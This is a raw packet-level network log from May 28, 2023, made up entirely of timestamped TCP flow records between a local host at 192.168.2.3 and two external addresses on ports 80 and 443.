May 28, 2023 10:42:43.358315945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358320951 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.358354092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358393908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358400106 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.358433008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358473063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358474016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.358511925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358551025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358551979 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.358589888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358628035 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358666897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358671904 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.358705997 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.358706951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358747959 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358787060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358828068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358831882 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.358867884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358907938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358911037 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.358947039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358985901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.358987093 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.359025002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359045982 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.359064102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359103918 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359107018 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.359144926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359183073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359184027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.359221935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359262943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359262943 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.359303951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359343052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359345913 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.359380960 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359420061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359457970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359494925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359503031 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.359534025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359571934 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359575987 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.359611034 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359649897 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.359651089 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359689951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359726906 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.359728098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359785080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359823942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359827995 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.359863043 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359901905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359904051 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.359942913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359981060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.359982967 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.360019922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360058069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360059977 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.360099077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360136032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360136986 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.360176086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360213995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360219002 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.360253096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360307932 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.360322952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360363960 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360402107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360416889 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.360444069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360483885 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360486984 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.360523939 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360532999 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.360563993 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360596895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.360605001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360646009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360668898 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.360686064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360724926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360728979 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.360764980 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360804081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360805035 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.360843897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360883951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360884905 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.360924006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360963106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.360965014 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.361002922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.361042023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.361042976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.361082077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.361121893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.361124992 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.361160994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.361200094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.361200094 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.361238956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.361280918 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.361288071 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.361323118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.361362934 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.361362934 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.361865997 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.364310026 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.364942074 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.373569965 CEST	443	49708	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.376339912 CEST	49708	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.386163950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386221886 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386264086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386305094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386307955 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.386347055 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386389017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386428118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386430025 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.386451006 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.386466980 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386506081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386543989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386581898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386620045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386627913 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.386661053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386699915 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386734962 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.386739016 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386771917 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.386778116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386816978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386856079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386888981 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.386894941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386934042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.386966944 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.386972904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387012005 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387044907 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.387051105 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387104988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387140036 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.387149096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387196064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387232065 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.387240887 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387290001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387325048 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.387336016 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387382984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387418032 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.387428999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387475014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387511969 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.387520075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387566090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387612104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.387612104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387661934 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387708902 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387720108 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.387753963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387790918 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.387801886 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387846947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387882948 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.387892008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387938023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.387974024 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.387981892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388029099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388065100 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.388077974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388124943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388161898 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.388170958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388217926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388267994 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.388288021 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388345957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388386965 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.388396025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388442039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388478994 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.388488054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388525963 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.388535976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388581038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388628006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388672113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388715029 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.388715982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388761997 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388798952 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.388806105 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388851881 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388886929 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.388899088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388946056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.388978958 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.388993025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389038086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389072895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.389084101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389128923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389163017 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.389172077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389219999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389255047 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.389266014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389313936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389348030 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.389358997 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389405966 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389440060 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.389450073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389496088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389529943 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.389539003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389585018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389621019 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.389631987 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389677048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389719009 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.389723063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389766932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389810085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389842987 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.389853954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389889956 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.389899015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389945030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.389990091 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.390000105 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.390047073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.390084982 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.390093088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.390139103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.390177011 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.390185118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.390229940 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.390266895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.390276909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.390322924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.390369892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.390405893 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.390414000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.390460968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.390486956 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.390486956 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.390506983 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.390543938 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.395308018 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.407716990 CEST	49708	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.407780886 CEST	443	49708	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.408457041 CEST	443	49708	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.412791014 CEST	49708	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.414185047 CEST	49708	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.415101051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415158033 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415203094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415204048 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.415246964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415292025 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.415297985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415342093 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415386915 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415431976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415432930 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.415472031 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.415477037 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415523052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415565968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415605068 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.415611029 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415651083 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.415659904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415704012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415746927 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.415749073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415792942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415834904 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.415836096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415884018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415926933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.415942907 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.415975094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416019917 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416030884 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.416064978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416110039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416153908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416198015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.416198015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416245937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416316986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416323900 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.416359901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416404009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416448116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416491032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416511059 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.416536093 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416579962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416600943 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.416641951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416687965 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416732073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416749001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.416776896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416821957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416838884 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.416838884 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.416867018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416913033 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.416958094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417001963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417016983 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.417047024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417090893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417090893 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.417135000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417171001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.417181015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417226076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417227030 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.417275906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417318106 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.417320013 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417365074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417407036 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.417408943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417454004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.417494059 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.417496920 CEST	80	49704	45.9.74.80	192.168.2.3
